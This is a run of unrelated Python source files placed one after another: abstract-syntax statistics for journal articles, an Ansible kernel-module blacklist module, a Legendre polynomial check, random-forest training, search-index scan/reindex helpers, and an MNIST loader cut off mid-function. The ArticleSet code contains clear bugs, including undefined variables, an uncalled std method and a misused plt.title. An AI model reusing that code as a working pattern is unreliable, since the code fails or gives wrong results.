import matplotlib.pyplot as plt
import time
import pickle
import pandas as pd
from StatsAndVisualization.Difference import Difference, putDifferencesToExcel
from StatsAndVisualization.statsUtils import confidenceIntervalOfMean, getCombinedXNS
from Utils.textProcUtils import capitalizeFirstLetterEachWord
from Utils.timeUtils import getStringTimestamp

def getGranularStatisticalSummariesOfSetsDict(setsDict):
    return pd.concat([setsDict[set].getDescriptiveStatistics() for set in setsDict], keys=[set for set in setsDict])
def chartDifferencesInSubsetMeans(setsDict, statistic, minSampleSize=30):
    '''Returns a DataFrame with differences in subset means and boolean values for
    statistical significance at 0.95 and 0.99 confidence intervals, given h0 = no
    difference and two-sided t test.'''
    statistic = capitalizeFirstLetterEachWord(statistic)
    setNameList = [setName for setName in setsDict if setsDict[setName].getAnalyzableArticleCount() >= minSampleSize]
    sets = [setsDict[setName] for setName in setNameList]
    dimension = len(setNameList)
    data = [[None for _ in range(dimension)] for _ in range(dimension)]
    for j in range(dimension):
        for k in range(j):
            data[k][j] = Difference.comparePopulationMean(sets[j].getData().loc[:, statistic], sets[k].getData().loc[:, statistic], 0.05, 0.01)
            # Copy the data from one side of the diagonal to the other
            # (before b was compared to a, now copy to a compared to b)
            data[j][k] = data[k][j].getInverted()
    return pd.DataFrame(data=data, index=setNameList, columns=setNameList)

class ArticleSet(object):
    """A set of articles to be analyzed."""
    figureCount = 0
    pd.set_option('display.max_rows', 500)
    def __add__(self, other):
        '''Return a new ArticleSet with a combination of the
        articles in this ArticleSet and the articles in
        another ArticleSet.'''
        articles = set()
        for theirArticle in other.articles:
            found = False
            for myArticle in self.articles:
                if myArticle.isEquivalent(theirArticle):
                    myArticle.add(theirArticle)
                    found = True
                if theirArticle.isEquivalent(myArticle):
                    theirArticle.add(myArticle)
                    if found: break
            if not found:
                articles.add(theirArticle)
        articles = articles.union(self.articles)
        return ArticleSet(articles)
    def __init__(self, articles):
        self.articles = articles
        self.rawData = None
        self.descriptiveStatistics = None
        self.subsets = dict()
        plt.rcParams.update({'figure.figsize':(7,5), 'figure.dpi':100})
        self.countOfInvalidForUnknownReason = None
    def getDescriptiveStatistics(self):
        '''Returns a DataFrame containing descriptive statistics.'''
        if self.descriptiveStatistics is None:
            self.descriptiveStatistics = pd.DataFrame([
            [data.size for (_, data) in self.getData().iteritems()],
            [data.mean() for (_, data) in self.getData().iteritems()],
            [confidenceIntervalOfMean(_, 0.05) for (name, data) in self.getData().iteritems()],
            [data.std for (_, data) in self.getData().iteritems()]
            ],
            columns=[name for (name, _) in self.getData().iteritems()],
            index=[
                'n',
                'mean',
                '0.95 CI',
                's'
            ])
        return self.descriptiveStatistics
    def pickleAllArticles(self, fileName="dataset"):
        '''Pickles all articles as their tuple representation.'''
        with open(fileName + "_" + getStringTimestamp(), 'ab') as file:
            pickle.dump([article.getSaveableData() for article in self.articles], file)
            print("data dumped to", fileName + "_" + getStringTimestamp())
    def pickleSelf(self, fileName="dataset"):
        '''Pickles the ArticleSet'''
        with open(fileName + "_" + getStringTimestamp(), 'ab') as file:
            pickle.dump(self, file)
            print("data dumped to", fileName + "_" + getStringTimestamp())
    def makeHists(self, bins=20):
        '''Show frequency distributions of each calculated article characteristic.'''
        # Create the chart
        if len(self.getData().columns) > 1:
            fig, ax1 = plt.subplots(len(self.getData().columns))
            title = "| "
            count = 0
            for (name, data) in self.getData().iteritems():
                ax1[count].hist(data.tolist(), bins=bins)
                title += name + ' | '
                count += 1
            fig.suptitle = title
        else:
            plt.hist(self.getData().iloc[:,0])
            plt.title = self.getData().columns[0]
        plt.show()
    def thinOut(self):
        self.articles = [article for article in self.articles if article.hasValidAbstract()]
    def getData(self, decimalPlaces=20, verbose=False, simple=True):
        lastTimeCheck = time.time()
        table = [] # 2D list to be converted into a DataFrame
        index = [] # list of tuples to be converted into a MultiIndex to be used in the DataFrame
        if self.rawData is None:
            for article in self.articles:
                if (simple and article.getEnglishAbstract() is not None) or (not simple and article.hasValidAbstract()):
                    if verbose:
                        # Print out the data
                        print(article.getPath())
                        if not simple:
                            print("\nTitle:", article.getTitle(),
                          '\nAll of the following data is per sentence.',
                          "\nMean tokens:", article.getTokensPerSentence())
                            print(
                          "Mean parse tree levels:", article.getMeanParseTreeLevels(),
                          '\nMean dependent clauses:', article.getMeanDependentClauses(),
                          '\nMean prepositional phrases:', article.getMeanPrepositionalPhrases())
                            print("Time to get parse tree levels, dependent clauses, and prepositional phrases:", time.time() - lastTimeCheck)
                    if not simple:
                        # Calculate secondary Article characteristics
                        lengthAdjustedSbar = article.getMeanDependentClauses() / article.getTokensPerSentence()
                        lengthAdjustedPp = article.getMeanPrepositionalPhrases() / article.getTokensPerSentence()
                        combinedAdjustedSbarPp = lengthAdjustedSbar + lengthAdjustedPp
                        # Save the data for the current Article in the table
                        table.append([
                            round(article.getTokensPerSentence(), decimalPlaces),
                            round(article.getMeanParseTreeLevels(), decimalPlaces),
                            round(article.getMeanDependentClauses(), decimalPlaces),
                            round(article.getMeanPrepositionalPhrases(), decimalPlaces),
                            round(lengthAdjustedSbar, decimalPlaces),
                            round(lengthAdjustedPp, decimalPlaces),
                            round(combinedAdjustedSbarPp, decimalPlaces)
                            ])
                        # Create row in the index, if applicable
                        index.append(article.getId())
                    elif article.getFullTokensPerSentence() is not None:
                        table.append([
                            round(article.getFullTokensPerSentence(), decimalPlaces)
                            ])
                        # Create row in the index, if applicable
                        index.append(article.getId())
            #print("Time to process article:", time.time() - lastTimeCheck)
            lastTimeCheck = time.time()
            # Save all data to self.rawData as a DataFrame
            if not simple:
                columnNames = ['Tokens', 'Parse Tree Levels', 'Dependent Clauses', 'Prepositional Phrases', 'Length Adjusted SBAR', 'Length Adjusted PP', 'Combined Adjusted SBAR PP', 'Full Abstract Tokens']
            else:
                columnNames = ['Full Abstract Tokens']
            self.rawData = pd.DataFrame(table, index=index, columns=columnNames)
        if verbose: print('Count of invalid abstracts for unknown reason:', self.countOfInvalidForUnknownReason)
        return self.rawData
    def getAllContributors(self):
        '''Gets set of the most detailed versions of the names of all of the contributors.'''
        allContributors = set()
        for article in articles:
            articleContributors = article.getContributors().copy()
            for (contributorToAdd, foundContributor) in zip(articleContributors, allContributors):
                if contributorToAdd > foundContributor:
                    # The new name (contributorToAdd) is more specific than the name that previously existed (foundContributor)
                    articleContributors.remove(contributorToAdd) # Remove the added contributor from the articleContributors
                    allContributors.remove(foundContributor) # Remove the duplicate contributor from allContributors
                    allContributors.add(contributorToAdd) # Replace the duplicate contributor with the more detailed contributor Name
                    print('A new name is more specific:', str(contributorToAdd), 'is more specific than', str(foundContributor))
                    break
                if foundContributor > contributorToAdd:
                    # The already found name is more specific
                    articleContributors.remove(contributorToAdd) # Remove the added contributor from the articleContributors
                    print('The already found name is more specific:', str(foundContributor), 'is more specific than', str(contributorToAdd))
                    break
            # Add leftover names that did not match anything
            print('The following names did not match any previously found names:', (str(contributorToAdd) for contributorToAdd in articleContributors))
            allContributors.add(articleContributors)
    def getLanguageDistribution(self):
        '''Gets the number of appearances of any given language as the dominant language in the abstract of an Article.'''
        distribution = {}
        for article in self.articles:
            language = article.getAbstractLanguage()
            if not language in distribution:
                distribution[language] = 1
            else:
                distribution[language] += 1
        return distribution
    def getIndex(self):
        return self.getData().index
    def getSubsetsByDiscipline(self):
        return self.getSubsetsByArticleCharacteristic('discipline', lambda article: article.getDiscipline())
    def getSubsetsByJournal(self):
        return self.getSubsetsByArticleCharacteristic('journal', lambda article: article.getJournal())
    def getSubsetsByArticleCharacteristic(self, characteristicName, articleCharacteristicGetterFunction):
        '''Returns a dictionary of subsets that have the same value returned by
        the articleCharacteristicGetterFunction. For instance, if the
        articleCharacteristicGetterFunction returns the journal in which the article
        was published, then it returns a dictionary of subsets of articles that were
        published in the same journal.'''
        # Create the dictionary associated with this articleCharacteristicGetterFunction
        # in the subsets dictionary
        if not characteristicName in self.subsets:
            self.subsets[characteristicName] = dict()
            currentDict = self.subsets[characteristicName]
            # iterate over the articles and place them in the dictionary
            for article in self.articles:
                characteristicValue = articleCharacteristicGetterFunction(article)
                if characteristicValue in currentDict:
                    currentDict[characteristicValue].add(article)
                else:
                    currentDict[characteristicValue] = {article}
            # In-place conversion of all of the sets of articles into ArticleSets
            for subset in currentDict:
                currentDict[subset] = ArticleSet(currentDict[subset])
        return self.subsets[characteristicName]
    def getStatistic(self, statistic):
        '''Returns the mean value of some descriptive statistic. This statisic can
        be any of the statistics returned by getDescriptiveStatistics.'''
        return self.getDescriptiveStatistics().loc['mean', capitalizeFirstLetterEachWord(statistic)]
    def getCountOfInvalidForUnknownReason(self):
        if self.countOfInvalidForUnknownReason == None:
            self.countOfInvalidForUnknownReason = 0
            for article in self.articles:
                if article.getAbstractInvalidForUnknownReason():
                    print('found invalid')
                    self.countOfInvalidForUnknownReason += 1
        return self.countOfInvalidForUnknownReason
    def __len__(self):
        return len(self.articles)
    def getAnalyzableArticleCount(self):
        return len(self.getData().index)
    def putDisciplineWiseJournalComparisonToExcel(self, writer):
        '''Puts a sheet showing the difference between journals of a given
        discipline and journals of other disciplines to a separate sheet in
        and Excel workbook.'''
        putDifferencesToExcel(writer, 'Discipline-Wise Journal Compari', self.getDisciplineWiseJournalComparison())
    def putDisciplineSummariesToExcel(self, writer):
        '''Puts summaries of syntactic characteristics of each discipline to a separate sheet
        in an Excel workbook.'''
        articleDataByDiscipline = getGranularStatisticalSummariesOfSetsDict(self.getSubsetsByDiscipline())
        articleDataByDiscipline.to_excel(writer, sheet_name='By Discipline')
    def putJournalSummariesToExcel(self, writer):
        '''Puts summaries of syntactic characteristics of each journal to a separate sheet in
        an Excel workbook.'''
        articleDataByJournal = getGranularStatisticalSummariesOfSetsDict(self.getSubsetsByJournal())
        articleDataByJournal.to_excel(writer, sheet_name='By Journal')
    def putDisciplineDiffsToExcel(self, writer):
        '''Puts a table of the differences between each discipline and every other discipline,
        with respect to the mean of a given statistic.'''
        self.putDiffsToExcel(writer, 'discipline', lambda article: article.getDiscipline())
    def putJournalDiffsToExcel(self, writer):
        '''Puts a table of the differences between each discipline and every other discipline,
        with respect to the mean of a given statistic.'''
        self.putDiffsToExcel(writer, 'journal', lambda article: article.getJournal())
    def putDiffsToExcel(self, writer, characteristicName, articleCharacteristicGetterFunction):
        statTypes = self.getData().columns
        for statType in statTypes:
            name = 'Differences by ' + capitalizeFirstLetterEachWord(characteristicName) + ' (' + capitalizeFirstLetterEachWord(statType) + ')'
            if len(name) > 31: name = name[:31]
            putDifferencesToExcel(
                writer,
                name,
                chartDifferencesInSubsetMeans(
                    self.getSubsetsByArticleCharacteristic(
                        characteristicName,
                        articleCharacteristicGetterFunction
                        ),
                   statType)
                )
    def getStatsBySubset(self,
                         characteristicName, articleCharacteristicGetterFunction,
                         statNames=None):
        '''Returns a DataFrame whose columns correspond to article statistics
        (listed in statNames) and whose rows correspond to subsets,
        selected based on an article characteristic. Each cell contains an
        ordered pair: mean and n. Essentially, mean represents the value of
        the characteristic for that subset, and the n is necessary to
        evaluate how meaningful that statistic actually is.'''
        if statNames == None:
            statNames = self.getDescriptiveStatistics().columns
        statNames = [capitalizeFirstLetterEachWord(statName) for statName in statNames]
        subsets = self.getSubsetsByArticleCharacteristic(characteristicName,
                                                         articleCharacteristicGetterFunction)
        data = \
            [
                [
                    (
                        subsets[subset].getDescriptiveStatistics().loc['mean', statName],
                        subsets[subset].getDescriptiveStatistics().loc['n', statName]
                    )
                    for statName in statNames
                ]
                for subset in subsets
            ]
        return pd.DataFrame(data=data,index=[subsetName for subsetName in subsets],columns=statNames)
    def getDisciplineWiseJournalComparison(self):
        '''Returns a DataFrame with statistics for each journal in each
        discipline, for comparison of journals across disciplines.
        See getSubsetWiseSubsetComparison for details.'''
        return self.getSubsetWiseSubsetComparison('discipline',
                                             lambda article: article.getDiscipline(),
                                             'journal',
                                             lambda article: article.getJournal())
    def getSubsetWiseSubsetComparison(
        self,
        characteristicName1, articleCharacteristicGetterFunction1,
        characteristicName2, articleCharacteristicGetterFunction2):
        '''Outputs an excel sheet consisting of a vertical stack of tables,
        in which each table represents subsets of the whole and
        columns of each table represent subsets of the subsets, formed
        by a different criteria. For instance, if each table corresponds to a
        discipline, each column in the table could correspond to a journal.
        Each row in the table corresponds to a statistic by which the
        sub-subsets, if you will, are measured. For instance, in the table
        for discipline X, there is a column for journal Y, and each cell in
        the column for journal Y corresponds to the Difference between that cell
        and the corresponding cells for journals OUTSIDE of the table for
        discipline X, in other tables. The intention of this spreadsheet is to
        potentially refute the null hypothesis that (for instance) a journal in
        discipline X is not statistically different from journals in other
        disciplines (or whatever other characteristic they are separated by)'''
        subsetsToCompare = self.getSubsetsByArticleCharacteristic(
            characteristicName1, articleCharacteristicGetterFunction1
            )
        # Get a list of lists of stat Series. Each of these Series has
        # and index with 3 labels: mean, n, and s.
        subsetTables = pd.concat([
            getGranularStatisticalSummariesOfSetsDict(
                getDictionaryWithNumbersAsKeys(
                    subsetsToCompare[subset].getSubsetsByArticleCharacteristic(
                        characteristicName2, articleCharacteristicGetterFunction2
                    )
                )
            ).unstack(0).append(pd.DataFrame(index=['t']))
            for subset in subsetsToCompare
            ], keys=[subset for subset in subsetsToCompare]).stack(level=0, dropna=False).reorder_levels([2, 0, 1]).sort_index()
        getGranularStatisticalSummariesOfSetsDict(
                getDictionaryWithNumbersAsKeys(
                    subsetsToCompare['math'].getSubsetsByArticleCharacteristic(
                        characteristicName2, articleCharacteristicGetterFunction2
                    )
                )
            ).to_excel('intermediate_' + getStringTimestamp() + '.xlsx')
        #, columns=subsetsToCompare[subset].getSubsetsByArticleCharacteristic(
        #                characteristicName2, articleCharacteristicGetterFunction2
        #            ).keys()
        #print('got subset tables:', subsetTables)
        #subsetTables.to_excel("554test.xlsx")
        # Now it is necessary to convert each stat series in
        # the cells of each subsetTable to a Difference. In order to do
        # that, it will be necesary to calculate a test statistic and
        # determine statistical significance at a couple of alphas.
        #print(subsetTables)
        for currentSubset in subsetsToCompare:
            otherSubsets = list(subsetsToCompare.keys())
            otherSubsets.remove(currentSubset)
            otherArticles = set()
            for otherSubset in otherSubsets:
                otherArticles = otherArticles.union(subsetsToCompare[otherSubset].articles)
            otherSubsetSet = ArticleSet(otherArticles)
            otherSubsetDescriptiveStatistics = otherSubsetSet.getDescriptiveStatistics()
            print(otherSubsetDescriptiveStatistics)
            #print('length of otherSubsetTables:', len(otherSubsetTables))
            for stat in otherSubsetDescriptiveStatistics.columns:
                outsideCurrentSubsetXNS = otherSubsetDescriptiveStatistics[stat]
                #summariesOfOtherSubgroups = [
                #    getCombinedXNS(subsetTables.loc[otherSubsetTable, [stat]])
                #    for otherSubsetTable in otherSubsetTables
                #    ]
                ##print(summariesOfOtherSubgroups)
                #outsideCurrentSubsetXNS = getCombinedXNS(
                #    pd.DataFrame(data=summariesOfOtherSubgroups, index=summariesOfOtherSubgroups[0].index)
                #    )
                #print(outsideCurrentSubsetXNS)
                print(subsetTables.index)
                print(subsetTables.loc[stat])
                print(subsetTables.loc[(stat, currentSubset)])
                for _, column in subsetTables.loc[(stat, currentSubset)].iteritems():
                    print(column)
                    column['t'] = Difference.propComparePopulationMean(
                        column['n'],
                        outsideCurrentSubsetXNS.at['n'],
                        column['mean'],
                        outsideCurrentSubsetXNS.at['mean'],
                        column['s'],
                        outsideCurrentSubsetXNS.at['s'],
                        [0.05, 0.01]
                        )
                    print(column['t'])
        #print(subsetTables)
        print("Done getting subsettables.")
        return subsetTables
    def __iter__(self):
        return iter(self.articles)

def getDictionaryWithNumbersAsKeys(meaningfulKeysDict):
    '''Returns a dictionary that is a copy of the dictionary passed,
    except the keys are changed to numbers starting with zero.'''
    meaninglessKeysDict = {}
    count = 0
    for key in meaningfulKeysDict:
        meaninglessKeysDict[count] = meaningfulKeysDict[key]
        count += 1
    return meaninglessKeysDict


from __future__ import absolute_import, division, print_function
__metaclass__ = type

ANSIBLE_METADATA = {'metadata_version': '1.1',
                    'status': ['preview'],
                    'supported_by': 'community'}

DOCUMENTATION = '''
---
module: kernel_blacklist
author:
- Matthias Vogelgesang (@matze)
version_added: '1.4'
short_description: Blacklist kernel modules
description:
    - Add or remove kernel modules from blacklist.
options:
    name:
        description:
            - Name of kernel module to black- or whitelist.
        required: true
    state:
        description:
            - Whether the module should be present in the blacklist or absent.
        choices: [ absent, present ]
        default: present
    blacklist_file:
        description:
            - If specified, use this blacklist file instead of
              C(/etc/modprobe.d/blacklist-ansible.conf).
'''

EXAMPLES = '''
- name: Blacklist the nouveau driver module
  kernel_blacklist:
    name: nouveau
    state: present
'''

import os
import re

from ansible.module_utils.basic import AnsibleModule

class Blacklist(object):
    def __init__(self, module, filename, checkmode):
        self.filename = filename
        self.module = module
        self.checkmode = checkmode

    def create_file(self):
        if not self.checkmode and not os.path.exists(self.filename):
            open(self.filename, 'a').close()
            return True
        elif self.checkmode and not os.path.exists(self.filename):
            self.filename = os.devnull
            return True
        else:
            return False

    def get_pattern(self):
        return r'^blacklist\s*' + self.module + '$'

    def readlines(self):
        f = open(self.filename, 'r')
        lines = f.readlines()
        f.close()
        return lines

    def module_listed(self):
        lines = self.readlines()
        pattern = self.get_pattern()

        for line in lines:
            stripped = line.strip()
            if stripped.startswith('#'):
                continue

            if re.match(pattern, stripped):
                return True

        return False

    def remove_module(self):
        lines = self.readlines()
        pattern = self.get_pattern()

        if self.checkmode:
            f = open(os.devnull, 'w')
        else:
            f = open(self.filename, 'w')

        for line in lines:
            if not re.match(pattern, line.strip()):
                f.write(line)

        f.close()

    def add_module(self):
        if self.checkmode:
            f = open(os.devnull, 'a')
        else:
            f = open(self.filename, 'a')

        f.write('blacklist %s\n' % self.module)

        f.close()

def main():
    module = AnsibleModule(
        argument_spec=dict(
            name=dict(type='str', required=True),
            state=dict(type='str', default='present', choices=['absent', 'present']),
            blacklist_file=dict(type='str')
        ),
        supports_check_mode=True,
    )

    args = dict(changed=False, failed=False,
                name=module.params['name'], state=module.params['state'])

    filename = '/etc/modprobe.d/blacklist-ansible.conf'

    if module.params['blacklist_file']:
        filename = module.params['blacklist_file']

    blacklist = Blacklist(args['name'], filename, module.check_mode)

    if blacklist.create_file():
        args['changed'] = True
    else:
        args['changed'] = False

    if blacklist.module_listed():
        if args['state'] == 'absent':
            blacklist.remove_module()
            args['changed'] = True
    else:
        if args['state'] == 'present':
            blacklist.add_module()
            args['changed'] = True

    module.exit_json(**args)

if __name__ == '__main__':
    main()


#legendre polynomial
#(9) integrate(-1 --> 1)(P(n,x)*P(m,x)) = (2*dmn)/(2*n+1)

import numpy as np
from scipy.special import legendre
from scipy.misc import derivative
from scipy.integrate import quad

def f(x):
    return (legendre(m)(x))*(legendre(n)(x))

x=float(input("Enter the x: "))
m=int(input("Enter the m: "))
n=int(input("Enter the n: "))
LHS=quad(f,-1,1)[0]

if(m==n):
    d=1
    RHS=((2.0*d)/(2*n+1))
    print("(m==n):\n",RHS)
elif(m!=n):
    d=0
    RHS=((2.0*d)/(2*n+1))
    print("(m!=n): ",RHS)
print("LHS:\n",LHS)


import dask.dataframe as ddf
from dask_ml.model_selection import train_test_split
import time
import dask.distributed
import xgboost as xgb
import dask.array as da
import numpy as np
import sklearn.metrics as skm
import matplotlib.pyplot as plt
import pickle
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import KFold, RandomizedSearchCV
import os
from statistics import mean
from joblib import Parallel, delayed
from pprint import pprint
from scipy.stats import uniform, truncnorm, randint
import shutil

def plot_roc_curve(fper, tper):
    plt.plot(fper, tper, color='orange', label='ROC')
    plt.plot([0, 1], [0, 1], color='darkblue', linestyle='--')
    plt.xlabel('False Positive Rate')
    plt.ylabel('True Positive Rate')
    plt.title('Receiver Operating Characteristic (ROC) Curve')
    plt.legend()
    plt.savefig("ROC_curve_alexa_data.png") #save as png

def KFoldValidation(train_index, test_index):
	X_train, X_test = X[train_index], X[test_index]
	y_train, y_test = y[train_index], y[test_index]
	global model_previous
	model = model_previous
	model = RandomizedSearchCV(model, model_params, n_iter=2, cv=2, random_state=42, scoring = "accuracy")
	model.fit(X_train, y_train)
	model = model.best_estimator_
	model_previous = model
	y_pred = model.predict(X_test)
	global accuracy
	accuracy.append(skm.accuracy_score(y_test, y_pred))
	global f1_score
	f1_score.append(skm.f1_score(y_test, y_pred))
	global recall
	recall.append(skm.recall_score(y_test, y_pred))
	global precision
	precision.append(skm.precision_score(y_test, y_pred))
#	global roc_auc_score
#	roc_auc_score.append(skm.roc_auc_score(y_test, y_pred))
	global confusion
	confusion = confusion + skm.confusion_matrix(y_test, y_pred, labels = [0,1])
	return { "model":model_previous, "accuracy":accuracy, "f1_score":f1_score,"recall":recall, "precision":precision,"confusion":confusion }
	#return {"model":model.best_estimator_, "score":model.best_score_}

if __name__ == "__main__":
	directories = ['preprocessed_instances_for_overall_test']
	if os.path.exists('./models_'+directories[0][13:-5]):
		shutil.rmtree('./models_'+directories[0][13:-5])
	os.mkdir('./models_'+directories[0][13:-5])
	if os.path.exists('./performances_'+directories[0][13:-5]):
		shutil.rmtree('./performances_'+directories[0][13:-5])
	os.mkdir('./performances_'+directories[0][13:-5])
	for directory in directories:
		for filename in os.listdir('../../code_data/'+directory):
			f = os.path.join('../../code_data/'+directory, filename)
			if os.path.isfile(f) :
				print('--- Loading '+filename+' data ...')
				start_time = time.time()
				df = ddf.read_csv(f)
				df = df.sample(frac=1)
				X = df.iloc[:, 3:22].values
				y = df.iloc[:, 22].values
				print("--- Data loaded in  %s seconds ---" % (time.time() - start_time))
				print('--- Chunksizes computing ...')
				start_time = time.time()
				X.compute_chunk_sizes()
				y.compute_chunk_sizes()
				print("--- Chunksizes computed in  %s seconds ---" % (time.time() - start_time))
				kf = KFold(n_splits=2, random_state = 42, shuffle=True)
				print('--- Training ---')
				start_time = time.time()
				model_params = {
				# randomly sample numbers from 4 to 204 estimators
				#'n_estimators': randint(100,110),
				'criterion' : ['gini', 'entropy'],
				#'max_depth':5,
				# normally distributed max_features, with mean .25 stddev 0.1, bounded between 0 and 1
				'max_features': truncnorm(a=0, b=0.6, loc=0.25, scale=0.1),
				# uniform distribution from 0.01 to 0.2 (0.01 + 0.199)
				'min_samples_split': uniform(0.01, 0.199),
				#'n_jobs': -1,
				#'warm_start':True
				}
				accuracy = []
				f1_score = []
				precision = []
				recall = []
#				roc_auc_score = []
				confusion = [[0,0],[0,0]]
				model_previous = RandomForestClassifier(warm_start=True,n_jobs=-1,n_estimators = 200,max_depth = None)
				res = Parallel(n_jobs=os.cpu_count(), require='sharedmem')(delayed(KFoldValidation)(i,j) for i,j in kf.split(X))[0]
				#rf_model = RandomForestClassifier()
				#model = RandomizedSearchCV(rf_model, model_params,n_jobs = os.cpu_count(),  n_iter=100, cv=5, random_state=1)
				#model.fit(X, y)
				print('--- Training done in %s seconds' % (time.time() - start_time))
				pickle.dump(res["model"], open('./models_'+directory[13:-5]+'/rf_'+filename[22:-4]+'.pkl', "wb"))
				#pprint(model.best_estimator_.get_params())
				with open("./performances_"+directory[13:-5]+"/performance_"+filename[22:-4]+".txt", "w") as file1:
					#file1.write('--- Accuracy : '+str(res["score"])+'\n')
					file1.write('--- Accuracy : '+str(mean(accuracy))+'\n')
					file1.write('--- F1 score : '+str(mean(f1_score))+'\n')
					file1.write('--- Precision : '+str(mean(precision))+'\n')
					file1.write('--- Recall : '+str(mean(recall))+'\n')
#					file1.write('--- ROC AUC score : '+str(mean(roc_auc_score))+'\n')
					file1.write('--- Confusion Matrix : '+str(confusion)+'\n')


from .bulk import bulk
from .errors import ScanError

import logging

logger = logging.getLogger('xapiand.helpers')

def scan(client, query=None, scroll='5m', raise_on_error=True,
         preserve_order=False, size=1000, request_timeout=None, clear_scroll=True,
         scroll_kwargs=None, **kwargs):
    """
    Simple abstraction on top of the
    :meth:`~xapiand.Xapiand.scroll` api - a simple iterator that
    yields all hits as returned by underlining scroll requests.

    By default scan does not return results in any pre-determined order. To
    have a standard order in the returned documents (either by score or
    explicit sort definition) when scrolling, use ``preserve_order=True``. This
    may be an expensive operation and will negate the performance benefits of
    using ``scan``.

    :arg client: instance of :class:`~xapiand.Xapiand` to use
    :arg query: body for the :meth:`~xapiand.Xapiand.search` api
    :arg scroll: Specify how long a consistent view of the index should be
        maintained for scrolled search
    :arg raise_on_error: raises an exception (``ScanError``) if an error is
        encountered (some shards fail to execute). By default we raise.
    :arg preserve_order: don't set the ``search_type`` to ``scan`` - this will
        cause the scroll to paginate with preserving the order. Note that this
        can be an extremely expensive operation and can easily lead to
        unpredictable results, use with caution.
    :arg size: size (per shard) of the batch send at each iteration.
    :arg request_timeout: explicit timeout for each call to ``scan``
    :arg clear_scroll: explicitly calls delete on the scroll id via the clear
        scroll API at the end of the method on completion or error, defaults
        to true.
    :arg scroll_kwargs: additional kwargs to be passed to
        :meth:`~xapiand.Xapiand.scroll`

    Any additional keyword arguments will be passed to the initial
    :meth:`~xapiand.Xapiand.search` call::

        scan(client,
            query={"query": {"match": {"title": "python"}}},
            index="orders-*",
            doc_type="books"
        )

    """
    scroll_kwargs = scroll_kwargs or {}

    if not preserve_order:
        query = query.copy() if query else {}
        query["sort"] = "_doc"
    # initial search
    resp = client.search(body=query, scroll=scroll, size=size,
                         request_timeout=request_timeout, **kwargs)

    scroll_id = resp.get('_scroll_id')
    if scroll_id is None:
        return

    try:
        first_run = True
        while True:
            # if we didn't set search_type to scan initial search contains data
            if first_run:
                first_run = False
            else:
                resp = client.scroll(scroll_id, scroll=scroll,
                                     request_timeout=request_timeout,
                                     **scroll_kwargs)

            for hit in resp['hits']['hits']:
                yield hit

            # check if we have any errrors
            if resp["_shards"]["successful"] < resp["_shards"]["total"]:
                logger.warning(
                    "Scroll request has only succeeded on %d shards out of %d.",
                    resp['_shards']['successful'], resp['_shards']['total']
                )
                if raise_on_error:
                    raise ScanError(
                        scroll_id,
                        "Scroll request has only succeeded on %d shards out of %d." % (
                            resp['_shards']['successful'], resp['_shards']['total']
                        )
                    )

            scroll_id = resp.get('_scroll_id')
            # end of scroll
            if scroll_id is None or not resp['hits']['hits']:
                break
    finally:
        if scroll_id and clear_scroll:
            client.clear_scroll(body={'scroll_id': [scroll_id]}, ignore=(404, ))

def reindex(client, source_index, target_index, query=None, target_client=None,
            chunk_size=500, scroll='5m', scan_kwargs={}, bulk_kwargs={}):
    """
    Reindex all documents from one index that satisfy a given query
    to another, potentially (if `target_client` is specified) on a different cluster.
    If you don't specify the query you will reindex all the documents.

    Since ``2.3`` a :meth:`~xapiand.Xapiand.reindex` api is
    available as part of xapiand itself. It is recommended to use the api
    instead of this helper wherever possible. The helper is here mostly for
    backwards compatibility and for situations where more flexibility is
    needed.

    .. note::

        This helper doesn't transfer mappings, just the data.

    :arg client: instance of :class:`~xapiand.Xapiand` to use (for
        read if `target_client` is specified as well)
    :arg source_index: index (or list of indices) to read documents from
    :arg target_index: name of the index in the target cluster to populate
    :arg query: body for the :meth:`~xapiand.Xapiand.search` api
    :arg target_client: optional, is specified will be used for writing (thus
        enabling reindex between clusters)
    :arg chunk_size: number of docs in one chunk sent to the server (default: 500)
    :arg scroll: Specify how long a consistent view of the index should be
        maintained for scrolled search
    :arg scan_kwargs: additional kwargs to be passed to
        :func:`~xapiand.helpers.scan`
    :arg bulk_kwargs: additional kwargs to be passed to
        :func:`~xapiand.helpers.bulk`
    """
    target_client = client if target_client is None else target_client

    docs = scan(
        client,
        query=query,
        index=source_index,
        scroll=scroll,
        **scan_kwargs
    )

    def _change_doc_index(hits, index):
        for h in hits:
            h['_index'] = index
            if 'fields' in h:
                h.update(h.pop('fields'))
            yield h

    kwargs = {
        'stats_only': True,
    }
    kwargs.update(bulk_kwargs)
    return bulk(target_client,
                _change_doc_index(docs, target_index),
                chunk_size=chunk_size,
                **kwargs)


#! /usr/bin/python2.7

# For help: http://stackoverflow.com/questions/7194884/assigning-return-value-of-function-to-a-variable-with-multiprocessing-and-a-pr

# import multiprocessing as mp
import os
import gzip
import time
import sys
import math

import multiprocessing as mp
import numpy as np
import pickle as cPickle

from NeuralNetworkDecimalMultiprocess import NeuralNetwork
from multiprocessing import Queue, Manager, Process, Lock
from copy import deepcopy
from PIL import Image

# print("__name__ = "+str(__name__))

network_file_name = "learned_neural_network.pkl.gz"
inputs_targets_train_file_name = "input_targets_train.pkl.gz"
mnist_package_name = "mnist.pkl.gz"

# possible smaller_factor: 1 for 28x28, 2 for 14x14, 4 for 7x7

def save_inputs_targets(inputs_targets_path, size, smaller_factor, select_set):
    # Load the training pictures from MNIST and give it to the neural network
    with gzip.open(mnist_package_name, 'rb') as f:
        print("Loading mnist package in train_set, valid_set and test_set")
        train_set, valid_set, test_set = cPickle.load(f)
    # with

    # train_set_len_orig = len(train_set[0])
    train_set_len = size# train_set_len_orig

    train_set = [train_set[0][:train_set_len], train_set[1][:train_set_len]]
    valid_set = [valid_set[0][:train_set_len], valid_set[1][:train_set_len]]
    test_set = [test_set[0][:train_set_len], test_set[1][:train_set_len]]

    inputs_targets = [[], [], []]
    print("Creating and writing a file of a list of inputs and targets!")
    if select_set == "train":
        selected_set = train_set
    elif select_set == "valid":
        selected_set = valid_set
    elif select_set == "DrawNumbers":
        selected_set = test_set
    else:
        return None
    # if

    # original size is 28x28
    for inputs in selected_set[0][:size]:
        temp = [0 if x < 0.5 else 1 for x in inputs]
        inputs_targets[0].append(np.array([temp]).transpose())
    # for
    print("")

    # print("smaller_factor = "+str(smaller_factor)+"   type = "+str(type(smaller_factor)))
    smaller_factor = float(smaller_factor)
    dict_factors = [1., 2., 4.]
    for df1, df2 in zip(dict_factors[:-1], dict_factors[1:]):
        if smaller_factor - df1 < (df2 - df1) / 2.:
            smaller_factor = df1
            break
        # if
    # for
    if smaller_factor > dict_factors[-1]:
        smaller_factor = dict_factors[-1]
    # if

